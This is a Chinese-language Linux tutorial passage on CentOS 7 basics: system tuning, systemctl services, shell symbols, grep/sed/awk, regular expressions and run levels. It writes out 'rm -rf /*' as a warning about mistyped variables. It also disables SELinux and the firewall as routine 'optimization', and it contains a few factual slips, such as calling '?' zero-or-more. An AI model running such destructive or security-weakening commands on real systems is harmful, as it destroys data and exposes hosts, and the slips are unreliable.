[root@localhost ~]# date
    2023年 03月 24日 星期五 21:21:03 CST
    您在 /var/spool/mail/root 中有邮件
# 错误的原因可能是需要我们写shutdown的绝对路径
[root@localhost ~]# which shutdown # which也是查找，可以查找指令的绝对路径
    /usr/sbin/shutdown
# 这里就是想提示大家，如果指令不行，就写指令的绝对路径
# 我们发现，没有关闭成功，并且看到了一个提示，有个邮件？我们去看一下

### 如果定时任务的格式，或者内容有问题，系统都会发邮件提示：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

2.19 系统优化

## 现在的操作系统需要优化的地方不多了，甚至直接就可以使用，之前的老系统都需要好多优化才行。我这里简单做一些优化，大家最好和我的一致昂。我们先还原一下快照，优化好之后我们再做一个新的快照。
1

2.19.1 优化ssh

## 优化ssh，以防连接过慢
    vi /etc/ssh/sshd_config  # 改配置文件之前，最好先做好备份，cp /etc/ssh/sshd_config 
    /etc/ssh/sshd_config.bak
    79行：GSSAPIAuthentication no
    115行：UseDNS no  # 别忘了删除前面的注释符号#
    systemctl restart sshd
1
2
3
4
5
6

2.19.2 优化selinux

#修改配置文件，永久关闭
vi /etc/selinux/config
#第7行修改为
SELINUX=disabled
需要重启生效
#立即生效，临时的 #有时候有些服务器不让重启，就可以先这样临时用一下
setenforce 0
1
2
3
4
5
6
7

2.19.3 关闭firewalld

systemctl stop firewalld
systemctl disable firewalld
1
2

2.19.4 安装常用软件

yum install lrzsz vim tree wget net-tools screen bash-completion tcpdump -y

net-tools：
## 网络相关工具，比如ifconfig、ifconfig ens33(只看某个网卡的ip)，
## 查看安装了哪些rpm包，
	rpm -qa
## 具体这个软件有哪些命令
	rpm -ql net-tools来查看。

screen：
##屏幕工具。我们以后可能要远程连接某个服务器，比如服务器在国外，那么我们通过本地xshell等远程连接到目标服务器，那么中间有要经过很多个网络设备的传输，很容易断掉连接，如果我们正在执行某个程序，突然断开连接了，那么我们执行的程序也会自动中断，如果我们不想让程序终端，就可以用到screen命令了。

   [root@localhost ~]# screen # 会单独再给我们开启一个终端
   [root@localhost ~]# sleep 100
    # 然后模拟一下，断开连接，在重新连接回来，还可以通过screen恢复到之前的窗口状态，发现程序还在继续执行着。
   [root@localhost ~]# screen -ls
   There is a screen on:
        16389.pts-1.localhost (Detached)
    1 Socket in /var/run/screen/S-root.
   [root@localhost ~]# screen -r 16389 # 恢复窗口
# 所以当网络不稳定的时候最好用screen来操作。

# bash-completion：这个软件很神奇，叫做超级自动补全。
## 这个包安装完之后，要重新登录一下才行。
# 这个工具是tab键的加强版，输入-然后再使用tab的时候可以提示我们有哪些参数了，也就是提示信息更全了。
    [root@localhost ~]# find /etc/ -size 10k -
    -amin                   -ignore_readdir_race    -path
    -anewer                 -ilname                 -perm
    -atime                  -iname                  -print
# 再比如我们想下载某个软件，我记得好像是psm，然后一个tab键就自动补全包名了
    [root@localhost ~]# yum install ps
    psacct.x86_64       psmisc.x86_64       psutils-perl.noarch psutils.x86_64
    
# 关于优化，我们就暂时说这么多。
[root@localhost ~]# rpm -qa|wc -l # 可以查看一下已经安装的软件包，看看是不是484个。
	484
# 优化好之后，关机做快照。
# tcpdump： 先简单知道一下即可，后续我们还会用它，到时候再详解
 # 这是个抓包指令，可以抓取网络传输的数据包。用户可以参考下面几个网址：
 # https://www.bbsmax.com/A/WpdKENY1JV/
 # https://www.codenong.com/cs105816177/
 # https://blog.csdn.net/yangshengwei230612/article/details/110878714
 # 后面我们会学习其他的抓包工具，比如wireshark、burp suite等等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

2.20 服务管理

## 服务的操作：开机自启、重启服务、启动服务、停止服务等等。

## 安装服务
	yum install httpd  # 网站服务程序，类似于nginx，它叫做apache

# systemctl 是centos7上专门管理服务的命令
## 查看服务是否运行了
	systemctl status httpd
    ## 或者
    ps -ef | grep httpd
## 查看所有服务列表
	systemctl list-unit-files
1
2
3
4
5
6
7
8
9
10
11
12

2.20.1 开机自启

## 把服务设置为开机启动
systemctl enable httpd.service

## 取消服务的开机自启
systemctl disable httpd.service
1
2
3
4
5

2.20.2 重启服务

systemctl  restart httpd
1

2.20.3 启动服务

systemctl  start httpd  #start启动 或者 systemctl start httpd.service
ps -ef|grep httpd 	## 可以看到服务进程，表示启动了
1
2

2.20.4 停止服务

systemctl  stop   httpd  #stop停止
1

2.20.5 查看服务状态

## 查看服务状态
systemctl status   httpd  #查看服务状态
1
2

httpd是一个网站服务软件，我们通过浏览器访问：

并且可以直接上传一个网站代码，上传到一个特定目录 /var/www/html 目录下面：

解压：

[root@localhost html]# tar zxf youxi.tar.gz 
[root@localhost html]# ls
youxi youxi.tar.gz
[root@localhost html]# ls youxi
ceshi games icon index index0 index1 index2 index3 index4 index5 
index.html
[root@localhost html]#
1
2
3
4
5
6
7

访问：

就可以玩游戏了。

2.21 Linux特殊符号

2.21.1 #号

#号：注释、备注、批注，系统自动忽略，不执行。
    [root@localhost ~]# sdddddddddddddddddddddddddddddddddddddddd
    -bash: sdddddddddddddddddddddddddddddddddddddddd: 未找到命令
    [root@localhost ~]# 
    [root@localhost ~]# # sdddddddddddddddddddddddddddddddddddddddd # 这就不报错了，因为系统不执行被#号注释的内容
    
# 在linux系统上的指令和配置是通过#号注释的，而开发中，编程语言里面不同的语言也有不同的注释号，比如//、'''注释内容'''、#、/**/等等
1
2
3
4
5
6
7

2.21.2 shell命令中的其他符号

2-1 ;命令的分隔符

##  ;命令的分隔符，通过它可以连接多条指令，一起执行
   [root@localhost ~]# touch 111.txt;chmod 777 111.txt
   [root@localhost ~]# ll 111.txt 
	-rwxrwxrwx 1 root root 0 9月  12 04:40 111.txt
1
2
3
4

2-2 …代表上级目录

[root@localhost ~]# pwd
/root
[root@localhost ~]# cd ..
[root@localhost /]# pwd
/
# cd ../../../../../../../../，当..很多时，就会到根目录/
1
2
3
4
5
6

2-3 .代表当前目录

[root@localhost opt]# cp /data/man_db.conf .
[root@localhost opt]# ls
man_db.conf
1
2
3

2-4 变量和常量

 ## 变量，值是不固定的，比如：我的女朋友=xxx，这个xxx不是固定的。我的女朋友就是变量。别人记不住你对象名字的时候，就这么问，你对象呢？而不是直呼其名。
    
   ## 常量，值是固定。圆周率=3.1415926...，固定的值，不会变。

   ## env命令可以查看系统内置的环境变量：和windows的环境变量类似。系统变量就是让一些在调用的时候比较麻烦或者说寻找的时候路径比较长的功能变得简单化。系统内部处理时，会根据变量的值做出不同的反应。
    
   [root@localhost ~]# env
        XDG_SESSION_ID=1
        HOSTNAME=localhost.localdomain 
        # 变量作用：比如HOSTNAME这个变量，它的值比较长，
        
##系统内部程序会经常用到这个值，那么用一个变量存放，以后想用这个值，就用这个变量即可，简单很多，而且只要修改了这个值，其他使用这个变量的地方，值都会跟着变化，方便修改。
        TERM=xterm
        SHELL=/bin/bash
 HISTSIZE=1000  # 这就是为什么历史命令只记录1000的原因。
 SSH_CLIENT=192.168.61.1 50670 22
        SSH_TTY=/dev/pts/0
        USER=root  # 当前登录用户，其他用户登录的时候，这个变量对应的值就变为了其他用户名
  
 LANG=zh_CN.UTF-8  # language的简写，装系统的时候，你安装的英文，这里就是en_US，中文就是zh_CN

    
 # 查看某个变量的值 $符号+变量名称：
 [root@localhost ~]# echo $LANG
 zh_CN.UTF-8

 # 我们改一下语言变量，来看看效果，比如之前命令的参数介绍都是中文的,export用来声明环境变量、修改环境变量等，如下：
 [root@localhost ~]# usermod --help
       用法：usermod [选项] 登录
       选项：
          -c, --comment 注释           GECOS 字段的新值
          -d, --home HOME_DIR           用户的新主目录

 [root@localhost ~]# export LANG=en_US.UTF-8
 [root@localhost ~]# usermod --help # 全部变英文了
       Usage: usermod [options] LOGIN
       Options:
          -c, --comment COMMENT         new value of the GECOS field
          -d, --home HOME_DIR           new home directory for the user account

 # 也就是说，改动环境变量，会对系统有影响，因为系统中使用这个变量的功能都会随着变量的值而做不同的处理。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

2-5 ""双引号，换行，解析变量

## 比如：echo，本来只能输出单行文本内容，加上双引号支持换行输入和输出
   [root@localhost ~]# echo hello
   hello

   [root@localhost ~]# echo "hello
   > jaden
   > "
    
   hello
   jaden
    
   [root@localhost ~]# echo "hello
   jaden
    " > jaden.txt # 还可以输出到某个文件中
   [root@localhost ~]# cat jaden.txt
   hello
   jaden
   ## 有时候比vi用起来方便。
    
    # ""能够解析变量，如下
   [root@localhost ~]# echo "$LANG"
 	en_US.UTF-8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

2-6 ''单引号，换行，不解析变量

# 单引号不能解析变量，其他功能和双引号类似，如下
 [root@localhost ~]# echo '$LANG'
 $LANG
1
2
3

2-7 \和/

#  \ 转义符，反斜杠
##    / 路径分隔符
1
2

2-8 !

## 历史命令调用，在find命令中是取反的意思。
[root@localhost ~]# history
 [root@localhost ~]# !47 # 调用历史指令147号
1
2
3

2-9 * 通配符

## 我们将find的之后用到过，可以匹配任意字符
 [root@localhost ~]# ls *.txt # 查看所有.txt结尾的文件
 jaden.txt
1
2
3

2-10 $ 调用变量

   [root@localhost ~]# export LANG='en_US.UTF-8'
   [root@localhost ~]# echo $LANG 
   	en_US.UTF-8
   [root@localhost ~]# stat 111.txt 
         File: ‘111.txt’
         Size: 0         Blocks: 0         IO Block: 4096   regular empty file
       Device: fd00h/64768d Inode: 33575641   Links: 1
       Access: (0777/-rwxrwxrwx) Uid: (    0/   root)   Gid: (    0/   root)
       Access: 2021-09-12 04:40:28.399177386 +0800
       Modify: 2021-09-12 04:40:28.399177386 +0800
       Change: 2021-09-12 04:40:28.400260737 +0800
         Birth: -
   [root@localhost ~]# export LANG='zh_CN.UTF-8'
   [root@localhost ~]# stat 111.txt 
         文件："111.txt"
         大小：0         块：0         IO 块：4096   普通空文件
       设备：fd00h/64768d Inode：33575641   硬链接：1
    权限：(0777/-rwxrwxrwx) Uid：(    0/   root)   Gid：(    0/   root)
       最近访问：2021-09-12 04:40:28.399177386 +0800
       最近更改：2021-09-12 04:40:28.399177386 +0800
       最近改动：2021-09-12 04:40:28.400260737 +0800
       创建时间：-
    
    # 还有很多指令的帮助信息即便设置了中文，它的帮助信息都是英文，比如curl
   [root@localhost ~]# curl --help

# 因为汉化这个事情，是好多人做的，而且要做很久，但是系统还会更新，还没汉化完，就又更新系统了，还需重新汉化，所以这样不划算，汉化组就解散了，所以有些指令就不汉化了。而且有时候汉化出来的意思和英语本来的意思不同，因为参与汉化的人有些不是计算机专业的，这就很尴尬。
    
 # 使用变量的时候要小心，比如有些人操作变量的时候，删除了根目录，如下
 	[root@localhost ~]# jaden=/tmp # 定义变量
   [root@localhost ~]# echo $jaden # 查看变量值
   /tmp
   [root@localhost ~]# rm -rf $jaden/* # 利用变量做删除，这是删除/tmp目录下的所有内容
    # ！！！但是，如果变量名写错了，如下
   [root@localhost ~]# rm -rf $jadn/* # 少写了个e字母，系统做删除的时候，找不到这个变量，那么会变成如下效果
   [root@localhost ~]# rm -rf /* # 就删除根目录了！！！！！系统崩溃了就。所以看到删除命令，就一定要特别的小心。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

2-11 < , << ,> , >>

## > 输出重定向
## >>追加输出重定向
## < 输入重新定向
## <<追加输入重定向
1
2
3
4

2-12 管道 |

2-13 ||

# 第一个命令失败，才执行第二个命令，第一个指令成功了，不会执行第二个指令
 # 指令连接符号，之前说过; 除了它，还有 || 和 &&，分号是两个指令都会执行，哪个出错都不影响其他的指令。
    
 [root@localhost ~]# echo 123 || ls 
    123
   [root@localhost ~]# ech 123 || ls 
    -bash: ech: command not found
   anaconda-ks.cfg jaden.txt
1
2
3
4
5
6
7
8

2-14 &&

# 和，两个一起执行，如果第一个失败了，两个都不执行，如果第一个成功了，第二个失败了，就执行第一个，如果两个都成功了，就都执行。
 [root@localhost ~]# echo 123 && ls 
    123
   anaconda-ks.cfg jaden.txt
   [root@localhost ~]# ech 123 && ls 
    -bash: ech: command not found
   [root@localhost ~]# echo 123 && lx 
    123
    -bash: lx: command not foun
1
2
3
4
5
6
7
8
9

2-15 &

# 后台运行
 # 比如top指令，之前运行top，会占住终端，除非结束top，不然不能执行其他指令
 [root@localhost ~]# top &
   [1] 16567
   [root@localhost ~]# ps -ef |grep top
    root      16567   1467  0 16:56 pts/0    00:00:00 top
    root      16569   1467  0 16:57 pts/0    00:00:00 grep --color=auto top
1
2
3
4
5
6
7

2-16 ~

## 代表家目录，不同的用户家目录不同。
 [root@localhost ~]# cd /tmp/
   [root@localhost tmp]# cd ~
   [root@localhost ~]# cd /tmp
   [root@localhost tmp]# cd # 其实cd什么参数都不加，也是回到家目录
   [root@localhost ~]#
1
2
3
4
5
6

2-17 ` 反引号

  # 用来嵌套命令，反引号中的命令先执行
   例子1：
       [root@localhost ~]# mkdir `echo jaden`
       [root@localhost ~]# ls
       anaconda-ks.cfg jaden jaden.txt
   例子2：
       [root@localhost opt]# touch test_`date +%T`.txt
       [root@localhost opt]# ls test_04\:56\:22.txt 
       test_04:56:22.txt
   例子3：
       [root@localhost ~]# tar zcf /tmp/etc.tar.gz `find /etc -type f -name "*.conf"`
       tar: Removing leading `/' from member names
       [root@localhost ~]# ls /tmp/
       etc.tar.gz    
       [root@localhost ~]# tar tf /tmp/etc.tar.gz # 查看压缩包里面的文件内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

2.22 三剑客

## 三剑客就是三个强大的命令。后期讲应急溯源的时候会用到。grep用的最多，所以我们重点讲解这个指令。三剑客配合正则表达式可以发挥很牛的作用。
1

2.22.1 grep

#擅长过滤，或者说查找，按行来过滤
## 例子：/var/log/secure是记录用户登录系统的行为的，登录成功还是失败，系统都会自动记录这次登录动作。
    [root@localhost ~]# grep 'Failed password' /var/log/secure 
        Mar 25 18:20:48 localhost sshd[16905]: Failed password for root from 
        192.168.61.1 port 55577 ssh2


    # 如果我们想将所有登录失败的ip地址找出来，可以再次过滤
# 比如查看某个ip地址登录了多少次
[root@localhost ~]# grep 'Failed password' /var/log/secure|grep '192.168.61.1' |wc -l
	3

# 可以借助正则表达式来进行过滤，可以将内容过滤的很精确，有些在线的网站也可以帮我们生成一些常用的正则表达式，比如https://www.hake.cc/tools/regexcode/
    [root@localhost ~]# grep 'Failed password' /var/log/secure|grep --color -P "
        (25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.
        (25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)"
        Mar 25 18:20:48 localhost sshd[16905]: Failed password for root from 
        192.168.61.1 port 55577 ssh2

# ip地址都标红色了，表示匹配出来了。
# 如果只要ip地址-Po
    [root@localhost ~]# grep 'Failed password' /var/log/secure|grep --color -Po "
    (25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.
    (25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)
   "
        192.168.61.1
        
# 有些ip地址是重复的，因为尝试登录了很多次，那么可以先排序，再去重，来查看ip地址
[root@localhost ~]# grep 'Failed password' /var/log/secure|grep --color -Po "
(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.
(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?
\d)" |sort -n |uniq -c
    2 192.168.2.113
    3 192.168.2.116
    1 192.168.61.1

# 比如，如果看到了这么个ip地址164.90.232.121、164.90.232.241等尝试登录了你上千上万次，就是在爆破攻击我们，百度一查，德国的
# 我们可以直接拉黑这个ip地址，也叫做加黑，加入黑名单的意思，这个等后面我再教大家。
# 为了演示下面的参数，我们先创建一个示例环境，也就是一个练习文件：
    [root@localhost log]# cd /root/
    [root@localhost ~]# head -50 /etc/services > test.txt
    [root@localhost ~]# ls
2.txt anaconda-ks.cfg jaden jaden17:52:30.txt jaden.txt test.txt xx.txt
        
#grep参数

## -n 显示行号  
     [root@localhost ~]# grep -n 'tcp' test.txt 
     # vi test.txt +48，表示进入vi的时候，光标直接定位的48行起始位置。
## -c 对结果行计数
     [root@localhost ~]# grep -c 'tcp' test.txt 
     14
## -i 不区分大小写
 	[root@localhost ~]# grep -n 'tcp' test.txt -i
    
## -v 反向搜索，取反
 	[root@localhost ~]# grep -n 'udp' test.txt -v # 将不含有udp的行全部过滤出来
    
## -w 精准匹配
 	[root@localhost ~]# grep -w 'tcp' test.txt 
    
##-o 只显示匹配的结果，前面的第一个示例中我们用过-o参数
 	[root@localhost ~]# grep -o -n 'tcp' test.txt
    
## -A1 同时打印搜索结果行的后一行 ，A是after的简写
     [root@localhost ~]# grep -A2 'ftp' test.txt 
     [root@localhost ~]# grep -A 2 'ftp' test.txt 
        
## -B3 同时打印搜索结果行的前三行，B是before的简写
 	[root@localhost ~]# grep -B2 'ftp' test.txt 
    
## -C2 同时打印搜索结果行的上下各两行
 	[root@localhost ~]# grep -C2 'ftp' test.txt 
    
## -E 扩展正则表达式

 # 正则我们下面会细讲，先简单了解一下。
 [root@localhost ~]# grep -E '.tp' test.txt # .就是正则表达式，表示任意的一个字符
 [root@localhost ~]# grep -E 'ftp|ssh' test.txt # 查找ftp或者ssh，|是或者的意思，可以用多个ftp|ssh|telnet...
    
## -P 使用perl正则
 # perl语言中设计的正则表达式写法规则，很强大，很多领域都支持perl正则的语法结构。
     [root@localhost ~]# grep -P "\d+" test.txt # 匹配所有的数字
     [root@localhost ~]# grep -P "\d{4,}" test.txt #匹配4位的数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

2.22.2 sed

#擅长取行和修改替换
## 用法：sed [-nri] [动作] 目标文件文件
## 选项与参数：

-n ： ##使用安静(silent)模式。在一般 sed 的用法中，所有来自 STDIN 的数据一般都会被列出到终端上。但如果加上 -n 参数后，则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。

-r ：## sed 的动作支持的是延伸型正则表示法的语法。(默认是基础正则表示法语法)
-i ：## 直接修改读取的文件内容，而不是输出到终端。动作说明： [n1[,n2]]function n1, n2一般表示为行号，[,n2]表示这个参数可选，可有可无。

function：
    a ：## 指定行后面插入一行
    d ：## 删除
    i ：## 指定行前面插入一行
    p ：## 打印，一般和前面的-n参数一起用
    s ：## 替换 需要I忽略大小写，全局替换需要g

sed过滤
    # sed也可以进行过滤，如下简单示例
       [root@localhost ~]# seq 5 > 1.txt
       [root@localhost ~]# vi 1.txt # 修改为如下内容
       [root@localhost ~]# cat 1.txt
            1
           2c
           3a
           4b
           5a
            
   [root@localhost ~]# sed '/a/p' 1.txt #默认会将所有行都打印出来，并且匹配到的a所在的行重新打印一遍
        1
       2c
       3a
       3a
       4b
       5a
       5a
    
   [root@localhost ~]# sed -n '/a/p' 1.txt   # 加上-n，进入安静(silent)模式，就不会将所有内容打印出来了。
       3a
       5a
    # sed过滤相比grep来说，就比较麻烦。所以，过滤我们一般用grep。
    
 [root@localhost ~]# sed -n '/tcp/p' test.txt # 也能过滤出tcp所在的行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

这个我们用的其实很少，所以大家简单学习一下即可。

2-1 删除匹配行数据

# sed删除匹配的行数据
     [root@localhost ~]# sed '/tcp/d' test.txt # 删除所有带tcp的行，并不是删除原文件中的数据，而是将删除之后的结果打印出来了。
    
     # 所以只需要一个重定向，就拿到删除之后的结果了

     [root@localhost ~]# sed '/tcp/d' test.txt > 2.txt
     [root@localhost ~]# cat -n 2.txt

     # -i就可以直接删除原文件的数据
     [root@localhost ~]# sed -i '/tcp/d' test.txt 
     [root@localhost ~]# cat -n test.txt 
     [root@localhost ~]# sed -i '/udp/d' test.txt 
     [root@localhost ~]# cat -n test.txt
     [root@localhost ~]# sed '/^#/d' test.txt # 删除以#开头的行，^表示以什么开头的正则表达式，我没有加-i昂
1
2
3
4
5
6
7
8
9
10
11
12
13
14

2-2 指定行来删除

# 指定行号来删除
     [root@localhost ~]# sed '1,10d' test.txt # 删除1-10行的数据
     [root@localhost ~]# sed -i '1,10d' test.txt
     # 只要1-5行的数据
     [root@localhost ~]# sed -n '1,5p' test.txt  
     # 只要第5行的数据
     [root@localhost ~]# sed -n '5p' test.txt  
1
2
3
4
5
6
7

2-3 插入数据

# 插入数据
     # 在第三行后面插入一行数据
     [root@localhost ~]# sed '3a hello jaden' 1.txt 
        1
       2c
       3a
     hello jaden
       4b
       5a
        # 在第2行前面插入一行数据
     [root@localhost ~]# sed '2i hello jaden' 1.txt 
        1
       hello jaden
       2c
       3a
       4b
       5a
     # 加上-i参数就能直接修改原文件
     [root@localhost ~]# sed -i '2i hello jaden' 1.txt 
       [root@localhost ~]# cat 1.txt 
        1
       hello jaden
       2c
       3a
       4b
       5a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

2-4 替换数据

# 替换数据
 # 把3a替换成wuLAOBAN
 	[root@localhost ~]# sed 's#3a#wuLAOBAN#' 1.txt 
            1
           hello jaden
           2c
           wuLAOBAN
           4b
           5a
       [root@localhost ~]# sed -i 's#3a#wuLAOBAN#' 1.txt 
       [root@localhost ~]# cat 1.txt 
            1
           hello jaden
           2c
           wuLAOBAN
           4b
   5a
 # 把A替换成xxx，每行只替换一次，同一行的第二个及之后的A都不进行替换
     [root@localhost ~]# sed 's#A#xxx#' 1.txt 
            1
           hello jaden
           2c
           wuLxxxOBAN
           4b
           5a
    # 把所有的A都替换成xxx
       [root@localhost ~]# sed 's#A#xxx#g' 1.txt 
            1
           hello jaden
           2c
           wuLxxxOBxxxN
           4b
           5a
    # 把所有的A和a都替换成xxx，忽略大小写，参数I
       [root@localhost ~]# sed 's#A#xxx#gI' 1.txt 
            1
           hello jxxxden
           2c
           wuLxxxOBxxxN
           4b
           5xxx
    
# -r参数也是和正则搭配来用的，grep是-E和-P参数，我们讲完正则之后再说。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

2.22.3 awk

#擅长取列
## 用法，取列
## 比如3.txt内容如下：
    2 this is a test
    3 Do you like awk
    This's a test
    10 There are orange,apple,mongo
    
## 例子1： 取列
       [root@localhost ~]# vi 3.txt
       [root@localhost ~]# cat 3.txt 
        2 this is a test
        3 Do you like awk
        This's a test
        10 There are orange,apple,mongo
        
       [root@localhost ~]# awk '{print $1}' 3.txt 
            2
            3
           This's
            10
            
       [root@localhost ~]# awk '{print $3}' 3.txt # 取第三列
       [root@localhost ~]# awk '{print $NF}' 3.txt # 取每一行的最后一列，NF是固定写法
           test
            awk
           test
           orange,apple,mongo
            
       [root@localhost ~]# awk '{print $1,$NF}' 3.txt # 取第一列和最后一列
            2 test
            3 awk
           This's test
            10 orange,apple,mongo
            
       [root@localhost ~]# awk '{print $NF,$1}' 3.txt # 还可以反着写，所以通过awk，可以将列顺序重新排版
       [root@localhost ~]# awk '{print $1,$4}' jaden.txt # 取出第一列和第四列
        
## 例子2：计算
    vi 4.txt，写上如下内容
    # 水果，每斤多少钱，总共多少斤
       orange 10 20
       apple 20  30
        mongo 50  10
       banana 5  200
    
    # 开始计算
   [root@localhost ~]# awk '{print $1,$2*$3}' 4.txt 
       orange 200
       apple 600
       mongo 500
       banana 1000
        
    # 还可以加备注信息：
   [root@localhost ~]# awk '{print $1"总价为：",$2*$3"元"}' 4.txt 
       orange总价为： 200元
       apple总价为： 600元
       mongo总价为： 500元
       banana总价为： 1000元
        
# 例子3：根据行号来筛选内容
    # a = 1表示变量赋值，让a=1
    # a == 1，表示判断一下a的值是不是等于1，等于1那么条件判断结果为真，不等1那么条件判断结果为假
    # 支持符号： > < == >=   <=

    [root@localhost ~]# awk 'NR==1' 4.txt # 取出第一行数据，grep不会取出特定的行，只能筛选某些行
        orange 10 20

    [root@localhost ~]# awk 'NR>2' 4.txt # 取出行号大于2的行数据
        mongo 50  10
        banana 5  200

    [root@localhost ~]# awk 'NR<=3' 4.txt # 取出行号小于等于3的行数据
        orange 10 20
        apple 20  30
        mongo 50  10

    [root@localhost ~]# awk 'NR<=3 && NR>1' 4.txt # 取出行号大于1并且小于等于3的行
        apple 20  30
        mongo 50  10

    # 还可以取行的同时来取列
    [root@localhost ~]# awk 'NR<=3{print $1}' 4.txt 
        orange
        apple
        mongo
    
# 例子4：
    # 还可以过滤出指定的行，awk也能做过滤，但是
    [root@localhost ~]# awk '/apple/' 4.txt # 取出含有apple数据的行数据
    	apple 20  30
    # grep、sed、awk过滤对比
        grep 'apple' 4.txt
        sed -n '1,2p' 4.txt
        awk 'NR>1 && NR<=3' 4.txt
    
# 例子5：
    # 再比如我们刚才取ip地址：比直接写正则要方便很多
    [root@localhost log]# grep 'Failed password' secure
        Mar 25 18:20:48 localhost sshd[16905]: Failed password for root from 
        192.168.61.1 port 55577 ssh2
        Mar 25 18:49:26 localhost sshd[1498]: Failed password for root from 
        192.168.2.113 port 49991 ssh2

    [root@localhost log]# grep 'Failed password' secure|awk '{print $11}'
        192.168.61.1
        192.168.2.113
        192.168.2.116

# 例子6： 指定分隔符，默认是按照空格作为分隔符的
    awk -F ":"  '{print $7,$1}' /etc/passwd  # 这个文件都是用:做的分隔符
    [root@localhost ~]# awk -F ':' 'NR==3 || NR==5 {print $1}' /etc/passwd # 取出第三行和第五行的第一列数据，分隔符为:
        daemon
        lp
    # &&表示and，两个条件同时成立
    # ||表示or，满足一个条件即可
    
# 例子7： 拼凑指定文本,双引号之间原样输出
    # awk -F ":" '{print $1":123:"$7}' /etc/passwd
    [root@localhost ~]# awk -F ":" '{print $1":123:"$7}' /etc/passwd
        root:123:/bin/bash
        bin:123:/sbin/nologin
   
# 例子8: 过滤文本
    # awk -F "[ /]+"   '$2~/^47/' 1.txt
    # 找出第一列数据中带h的，并取出第一列和第七列的数据
    [root@localhost ~]# awk -F ':' '$1~/h/{print $1,$7}' /etc/passwd 
        shutdown /sbin/shutdown
        halt /sbin/halt
        sshd /sbin/nologin
        chrony /sbin/nologin
        apache /sbin/nologin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132

2.23 正则表达式

1) ^  ## 表示搜索以什么开头。
2)  $ ## 表示搜索以什么结尾。
3) ^$   ##表示空行，不是空格。
4) .     ## 代表且只能代表任意一个字符。
5) \     ## 转义字符，让有着特殊身份意义的字符，脱掉马甲，还原原型。
         ## 例如：\.只表示小数点，还原原始小数点的意义。
6) *     ## 重复0个或多个前面的一个字符。不代表所有了。
7) .*     ## 匹配所有的字符。^.* 任意多个字符开头。
8) [abc] ## 匹配字符集合内任意一个字符[a-z]
9) [^abc] ## ^再中括号里面表示非，不包含a或b或c。
10) {n,m} ## 重复n到m次，前一个字符。
11） +   ## 重复1次到多次
12） ？   ## 重复0次到多次
1
2
3
4
5
6
7
8
9
10
11
12
13

2.23.1 取ip的例子：

ip addr|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|sed -n '2p'
grep 'Failed password' secure |grep -Eo '[0-9]{1,3}\.[0-9.]+'
1
2

2.23.2 取root用户登录时间

lastlog|sed -n '/root/p'|grep -Eo '[0-9]{2}:[0-9]{2}:[0-9]{2}'
1

2.24 Linux运行级别

## 运行级别 0 关机
## 运行级别 1 单用户 ，这个类似于windows安全模式，可以用于找回密码等操作。
## 运行级别 2 不带网络的多用户 ，这种是不能联网的。
## 运行级别 3 完整的多用户模式 multi-user.target ， 我们平常使用的模式
## 运行级别 4 保留
## 运行级别 5 桌面模式 graphical.target ， 桌面版系统就是这个模式，如果不想开机进入图形化界面，就需要修改运行级别，可以试一下
## 3运行级别 6 重启
## centos6是通过数字来设置，centos7都不是用数字了，而是用下面的方式，不过数字设置依然有效：
1
2
3
4
5
6
7
8

2.24.1 查看运行级别

#切换运行级别
	init 
# 执行init 6，就会重启，执行init 0就会关机
1
2
3

2.24.2 查看运行级别

## 查看运行级别
	runlevel
systemctl get-default  #
#设置运行级别，设置之后一重启就改变了
	systemctl set-default graphical.target   #设置默认运行级别为图形，注意没有安装图形化界面
## 工具的话是不能切换为桌面版的
